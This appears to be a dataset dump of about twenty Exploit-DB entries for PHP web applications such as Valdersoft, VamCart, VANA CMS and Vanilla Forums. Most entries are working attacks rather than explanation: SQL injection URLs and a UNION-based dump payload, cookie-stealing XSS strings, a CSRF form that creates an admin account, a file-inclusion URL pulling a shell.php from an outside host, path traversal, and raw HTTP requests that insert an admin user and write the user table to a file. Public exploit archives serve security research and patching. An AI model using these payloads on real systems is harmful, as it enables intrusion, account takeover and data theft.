deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25301
Description: Valdersoft Shopping Cart 3.0 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2005-03-28
Author: Diabolic Crab

Exploit:
source: https://www.securityfocus.com/bid/12916/info

Multiple input validation vulnerabilities reportedly affect Valdersoft Shopping Cart. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.

An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks. 

http://www.example.com/store/category.php?sid=CDFE279AC2AD08522DF1CF9B46475132&id='SQL_INJECTION

http://www.example.com/store/item.php?si d=CDFE279AC2AD08522DF1CF9B46475132&id='SQL_INJECTION

http://www.example.com/store/index.php?sid=CDFE279AC2AD08522DF1CF9B46475132&lang='SQL_INJECTION

http://www.example.com/store/ search_result.php?sid=&searchTopCategoryID=&searchQuery='SQL_INJECTION&sid=CDFE279AC2AD08522DF1CF9B46475132&currency=USD

http://www.example.com/store/search_result.php?sid= CDFE279AC2AD08522DF1CF9B46475132&searchTopCategoryID='SQL_INJECTION&searchQuery=&sid=CDFE279AC2AD08522DF1CF9B46475132&currency=USD

http://www.example.com/store/index.php?sid=CDFE279AC2AD08522DF1CF9B46475132&lang=%22%3E%3Cscript%3Ealert(docum ent.cookie)%3C/script%3E

http://www.example.com/store/search_result.php?sid=CDFE279AC2AD08522DF1CF9B46475132&searchTopCategoryID=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&searchQuery=&sid=CDFE279AC2AD08522DF1CF9B46475132&currency=USD
Exploit-DB #18128
Description: Valid tiny-erp 1.6 - SQL Injection
Type: webapps
Platform: php
Date: 2011-11-19
Author: muuratsalo

Exploit:
------------------------------------------------------------------------
Valid tiny-erp <= 1.6 SQL Injection Vulnerability
------------------------------------------------------------------------

author............: muuratsalo (Revshell.com)
contact...........: muuratsalo[at]gmail[dot]com
download..........: http://sourceforge.net/projects/validerp/


[0x01] Vulnerability overview:

Valid tiny-erp <= 1.6 is affected by a SQL injection vulnerability.
Note - A registered account could be required to exploit the vulnerability.


[0x02] Disclosure timeline:

[16/11/2011] - SQL injection vulnerability discovered and reported to
the vendor.
[19/11/2011] - No response from the vendor, public disclosure.


[0x03] Proof of Concept:

http://localhost/validerp/_partner_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/validerp/proioncategory_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/validerp/_rantevou_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/validerp/syncategory_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/validerp/synallasomenos_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/validerp/ypelaton_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/validerp/yproion_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
Exploit-DB #14454
Description: ValidForm Builder script - Remote Command Execution
Type: webapps
Platform: php
Date: 2010-07-23
Author: HaCkEr arar

Exploit:
# Exploit Title:   ValidForm Builder script Remote Command Execution
Vulnerability
# Date: 2010/07/23
# Author: HackeR aRaR
# Email: y.0@hotmail.de
# My Sites : www.vbspiders.com
# Script home: http://www.phpgalleryscript.org
# download Script:
http://validformbuilder.googlecode.com/files/validformbuilder_v.1.0.zip
# Tested on: Windows
# Team hacker:HaCkEr aRaR & ViRuS Qalaa >>>X-MaN HaCk3r TeaM
#ViRuS Qalaa:em9@live.com <Qalaa%3Aem9@live.com>
:::::::::::::::::::::::::
=================Exploit=================

-=[ vuln c0de ]=-
shell_exec("$this->sFlitePath -t \"$sText\" -o
$this->sAudioPath$sFile.wav");
/libraries/ValidForm/class.phpcaptcha.php
Line:466

----exploit----
Dork: "PHP Gallery © 2010 PHP Weby hostgator coupon"

http://{localhost}/{path}/libraries/ValidForm/class.phpcaptcha.php?this=id<http://%7blocalhost%7d/%7Bpath%7D/libraries/ValidForm/class.phpcaptcha.php?this=id>

---------greatz----------
Greatz to :
ViRuS Qalaa,VoLc4n0

and My friends Others and My friends in MSN
EnJoY o_O
Exploit-DB #22372
Description: vam shop 1.69 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-10-31
Author: Security Effect Team

Exploit:
Product: VaM Shop
Vendor: Vamsoft ( http://vamshop.ru/ ) 
Vulnerable Version: 1,69 and probably prior versions.
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High
Credit: Security Effect Team(http://seceffect.tumblr.com/)


Vulnerability Details:
1. Blind SQL injection in shopping_cart.php in parameter product_id[]. 
PoC: 
POST /shopping_cart.php?action=update_product

cart_delete[]=2071&cart_quantity[]=1&old_qty[]=1&products_id[]=2071' and sleep(2)%3d%27

2. Multiple XSS(cross-site scripting).
PoC:
/advanced_search_result.php/o" onmouseover=prompt(123) //

Copyright (c) 2012. Security Effect.
Exploit-DB #20710
Description: VamCart 0.9 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-08-22
Author: DaOne

Exploit:
# Exploit Title: VamCart v0.9 CSRF Vulnerability
# Date: 20/08/2012
# Author: DaOne 
# Software Link: http://vamcart.googlecode.com/files/vamcart.zip
# Greetings to: LCA

# CSRF Add Admin:

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://[target]/users/admin_new/">
<input type="hidden" name="data[User][username]" value="webadmin">
<input type="hidden" name="data[User][email]" value="admin@email.com"/>
<input type="hidden" name="data[User][password]" value="pass123"/>
</form>
</body>
</html>
Exploit-DB #2461
Description: VAMP Webmail 2.0beta1 - 'yesno.phtml' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-30
Author: Drago84

Exploit:
###### ToXiC #########################
#
#VAMP Webmail Remote File Inclusion by ToXiC CreW
#
#BuG FounD by Drago84
#
#Application Affect:VAMP Webmail
#
#Page:
#     yesno.phtml
#Dir :
#     /setup/
#
#Problem:
#        <?if($answer=="Yes") {
#         include $yes_url;
#         } else {
#        include $no_url;
#         }?>
# ExPloit :
#http://www.site.com/wamp_dir/setup/yesno.phtml?no_url=http://sonic-banda-di-lamer.gay/shell.php?
#
#        
GrEatZ All Member of ToXiC, Str0ke
#
#
#FUCK #Sonic
#
# ToXic Security Italian CreW
###### ToXiC ##########

# milw0rm.com [2006-09-30]
Exploit-DB #33834
Description: Vana CMS - 'Filename' Arbitrary File Download
Type: webapps
Platform: php
Date: 2010-04-13
Author: Pouya Daneshmand

Exploit:
source: https://www.securityfocus.com/bid/39415/info

Vana CMS is prone to a vulnerability that lets attackers download arbitrary files. The issue occurs because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary files within the context of the application. Information harvested may aid in launching further attacks 

http://www.example.com/download.php?filename=File.php
Exploit-DB #37420
Description: VANA CMS - 'index.php' Script SQL Injection
Type: webapps
Platform: php
Date: 2012-06-18
Author: Black Hat Group

Exploit:
source: https://www.securityfocus.com/bid/54066/info

VANA CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

 http://www.example.com/general/index.php?recordID=125'
Exploit-DB #41585
Description: Vanelo - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Vanelo – Wanelo Clone - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.zoplay.com/
# Software: https://www.zoplay.com/web/trending-marketplace-website/
# Demo: http://wanelo.zoplay.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/shopby/IhsanSencan?q=[SQL]
# Duplicate entry 'waneloclone
# Etc..
# # # # #
Exploit-DB #5985
Description: VanGogh Web CMS 0.9 - 'article_ID' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-01
Author: CWH Underground

Exploit:
===================================================================
  VanGogh Web CMS (article_ID) Remote SQL Injection Vulnerability
===================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 1 July 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : VanGogh Web CMS
 VERSION     : 0.9
 VENDOR      : http://vangogh.holoclan.de/
 DOWNLOAD    : http://downloads.sourceforge.net/vangogh/vangogh_0_9.zip
#####################################################


--- Remote SQL Injection ---

-----------------------------------
 Vulnerable File (get_article.php)
-----------------------------------

@Line

   337:   $sql='SELECT text.content, article.lastchanged, parttypes.tag'
   338:       .' FROM article,T_A,text,parttypes'
   339:       .' WHERE article.ID=T_A.AID AND text.ID=T_A.TID AND parttypes.ID=T_A.parttype AND article.ID='.$article_ID;
   340:
   341:   $result=mysql_query($sql,$db) or die("$sql : Parse template  Query funktioniert ned");

---------
 Exploit
---------

[+] http://[Target]/[vangogh_path]/index.php?article_ID=[SQL Injection]&get_action=article&section=5


------
 POC
------

[+] http://[Target]/[vangogh_path]/index.php?article_ID=8/**/AND/**/1=2/**/UNION/**/SELECT/**/1,concat(id,0x3a,title),3/**/FROM/**/section&get_action=article&section=5


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-07-01]
Exploit-DB #43315
Description: Vanguard 1.4 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Vanguard - Marketplace Digital Products PHP 1.4 - Arbitrary File Upload
# Dork: N/A
# Date: 11.12.2017
# Vendor Homepage: https://www.codegrape.com/user/Vanguard/portfolio
# Software Link: https://www.codegrape.com/item/vanguard-marketplace-digital-products-php/15825
# Demo: http://vanguard-demo.esy.es/
# Version: 1.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users upload arbitrary file....
#
# Vulnerable Source:
# .....................
# $row = $row->fetch(PDO::FETCH_ASSOC);
# $folder_name = $row['id'] * 2;
# $folder_name_2 = $folder_name * 5;
# $check_dir1 = 'uploads/'.$folder_name;
# $check_dir2 = $check_dir.'/'.$folder_name_2;
# if (!is_dir($check_dir1)) { mkdir($check_dir1); }
# if (!is_dir($check_dir2)) { mkdir($check_dir2); }
# $thumbnail_path = $check_dir1."/".basename($_FILES['thumbnail_file']['name']);
# $preview_path = $check_dir1."/".basename($_FILES['preview_file']['name']);
# $main_path = $check_dir2."/".basename($_FILES['main_file']['name']);
# $error = 0;
# $upload_path = './';
# .....................
# 	
# Proof of Concept:
# 
# Users Add a new product/Add a product preview...
# 
# http://localhost/[PATH]/
# http://localhost/[PATH]/uploads/[FOLDER_NAME]/[FILE].php
# 
# # # # #
Exploit-DB #43316
Description: Vanguard 1.4 - SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Vanguard - Marketplace Digital Products PHP 1.4 - SQL Injection
# Dork: N/A
# Date: 11.12.2017
# Vendor Homepage: https://www.codegrape.com/user/Vanguard/portfolio
# Software Link: https://www.codegrape.com/item/vanguard-marketplace-digital-products-php/15825
# Version: 1.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/p/[SQL]
#  
# '++/*!50000UNION*/+/*!50000SELECT*/+1%2c(/*!08888Select*/+export_set(5%2c@:=0%2c(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5%2cexport_set(5%2c@%2c/*!08888table_name*/%2c0x3c6c693e%2c2)%2c/*!08888column_name*/%2c0xa3a%2c2))%2c@%2c2))%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10%2c11%2c12%2c13%2c14%2c15%2c16%2c17%2c18%2c19%2c20%2c21%2c22%2c23%2c24%2c25%2c26%2c27%2c28%2c29%2c30%2c31%2c32%2c33--+-
# 
#  
# # # # #
Exploit-DB #32279
Description: Vanilla 1.1.4 - HTML Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-19
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/30748/info

Vanilla is prone to multiple HTML-injection vulnerabilities and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.

Vanilla 1.1.4 is vulnerable; other versions may also be affected. 

http://www.example.com/people.php?PostBackAction=Apply&NewPassword='"><script>alert document.cookie)%3B<%2Fscript>
Exploit-DB #43462
Description: Vanilla < 2.1.5 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-01-08
Author: Anand Meyyappan

Exploit:
# Exploit Title: CSRF vulnerabilities in Vanilla Forums below 2.1.5-CVE-2[PII_REDACTED]
# Google Dork: NA
# Date: 7/1/2018
# Contact: https://twitter.com/anandm47
#   website: https://anandtechzone.blogspot.in <https://t.co/MJ8SoRaIMn>
# Exploit Author: Anand Meyyappan
# Vendor Homepage: https://open.vanillaforums.com <https://open.vanillaforums.com/discussion/28337/vanilla-2-1-5-released-and-2-0-18-14>
# Software Link: https://open.vanillaforums.com/addon/vanilla-core-2.1
# Tested on: Windows, Linux
# CVE : CVE-2[PII_REDACTED]

Description


Any registered user can delete topics and comments in forum without having admin access.



2.Proof Of Concept



Save the below code in html format, Once victim is logged into account. Use the below code.

<form method="post" action="https://www.site.com/forum/vanilla/discussion/dismissannouncement?discussionid=3709"> 
<input name=" DeliveryType" value="VIEW" class="input" type="hidden"> 
<input name=" DeliveryMethod" value="JSON" class="input" type="hidden"> <li>
<label><br></label><input value="Send" class="submit" type="submit"></li> </ul> 
</form>

3. Solution:


Update to version 2.5

https://open.vanillaforums.com/get/vanilla-core-2.5



#Reference

https://open.vanillaforums.com/discussion/28337/vanilla-2-1-5-released-and-2-0-18-14
https://www.cvedetails.com/cve/CVE-2[PII_REDACTED]/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2[PII_REDACTED]
Exploit-DB #18912
Description: Vanilla FirstLastNames 1.3.2 Plugin - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-21
Author: Henry Hoggard

Exploit:
# Title: Vanilla FirstLastNames 1.3.2 Plugin Persistant XSS Vulnerability
# Date: 18/5/12
# Author: Henry Hoggard
# Author URL: henryhoggard.co.uk
# Author Twitter: @henryhoggard
# Software: Vanilla Version 2.0.18.4 + FirstLastNames 1.3.2

http://vanillaforums.org/addon/firstlastnames-plugin

# http://vanillaforums.org
#############################################################

On Edit your account enter your XSS String in either the first name or last name field.
Then if a user visits your page the XSS will execute.

http://target.tld/index.php?p=/profile/myprofile/1/user

XSS:
<script>alert('x')</script>

#############################################################

http://henryhoggard.co.uk
Exploit-DB #17295
Description: Vanilla Forum 2.0.17.9 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-05-16
Author: AutoSec Tools

Exploit:
------------------------------------------------------------------------
Software................Vanilla Forum 2.0.17.9
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://www.vanillaforums.com/
Discovery Date..........5/15/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A local file inclusion vulnerability in Vanilla Forum 2.0.17.9 can be
exploited to include arbitrary files.


--PoC--

http://localhost/vanilla/index.php?p=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini%00
Exploit-DB #18974
Description: Vanilla Forum Tagging Plugin Enchanced 1.0.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-06-02
Author: Henry Hoggard

Exploit:
# Title: Vanilla Tagging Enchanced 1.0.1 Stored XSS
# Date: 1/6/12
# Author: Henry Hoggard
# Author URL: henryhoggard.co.uk
# Author Twitter: @henryhoggard
# Software: Vanilla Version 2.0.18.4 + Tagging Enhanced plugin 1.0.1
# http://vanillaforums.org/download
# http://vanillaforums.org/addon/tagging-plugin

This plugin is based on the default tagging plugin that comes with Vanilla. Therefore this is vulnerable to the same attack.

Create a new thread and post your XSS as tag. I used
<script>alert('xss')</script>

You will have to use a proxy / manipulate the form to bypass the max-length on the form.

Once you have posted the thread, send an administrator or moderator to

http://target.tld/index.php?p=/vanilla/post/editdiscussion/7

Where 7 is the thread ID of the thread you just made. The XSS will then trigger.
You can even use a URL shortener to send the link.

Note: The URL may be different depending on what category your thread is in.

#############################################################
Exploit-DB #24927
Description: Vanilla Forums 2-0-18-4 - SQL Injection
Type: webapps
Platform: php
Date: 2013-04-08
Author: bl4ckw0rm

Exploit:
# Exploit Title: Vanilla Forums - SQL-Injection - Insert arbitrary user & dump usertable
# Date: 04/05/2013
# Exploit Author: bl4ckw0rm
# Vendor Homepage: http://vanillaforums.org/
# Version: 2-0-18-4
# Tested on: Windows

Product Name:

Vanilla Forums

Vulnerable Version:

Up to vanilla-core-2-0-18-4

Tested on:

Windows Server 2003
Apache 2.4.3
PHP 5.4.7
MySQL 5.5.27

Vulnerability Overview:

SQL-Injection is possible, because$_POST arrays are not proper sanitized.
You do not need to be authenticated.

Vulnerability Details:

To insert an arbitrary user, a sample HTTP-Post Request looks as follows:

POST /[PATH]/vanilla/entry/signin HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: [any cookie]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 399

Form%2FTransientKey=VQYSOG2F3D38&Form%2Fhpt=&Form%2FTarget=discussions&
Form%2FClientHour=2013-3-28+11%3A37&Form%2FEmail['admin';INSERT INTO gdn_user 
(UserID, Name, Password, HashMethod, DateInserted, Admin, Permissions)
VALUES (NULL, '1234', '$P$BayO4QrMb9wgzdjNhlUBWdQcVaMnKN0', 'Vanilla', 
'2013-03-28 00:00:00', '1', '');#]=abcd&Form%2F[CREDENTIAL_REDACTED]_In=
Sign+In&Checkboxes%5B%5D=RememberMe

Indeed you has to take care of the proper encryption algorithm which is currently used.

As it is not possible to get the user table displayed on the website, you could establish an attack as follows:

POST /[PATH]/vanilla/entry/passwordrequest HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 255

Form%2FTransientKey=OJS6EB1J0KW7&Form%2Fhpt=&Form%2FEmail['ac';select * 
from gdn_user into outfile '[FULL_PATH]\\vanilla\\out.txt' #]=13&
Form%2FRequest_a_new_[CREDENTIAL_REDACTED]+a+new+password
Exploit-DB #35291
Description: Vanilla Forums 2.0.16 - 'Target' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-27
Author: YGN Ethical Hacker Group

Exploit:
source: https://www.securityfocus.com/bid/46039/info

Vanilla Forums is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Vanilla Forums 2.0.16 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?p=/entry/signin&Target=javascript:alert(document.cookie)//http://
Exploit-DB #35375
Description: Vanilla Forums 2.0.17.x - 'p' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-22
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/46486/info

Vanilla Forums is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/vanilla/index.php?p=[xss]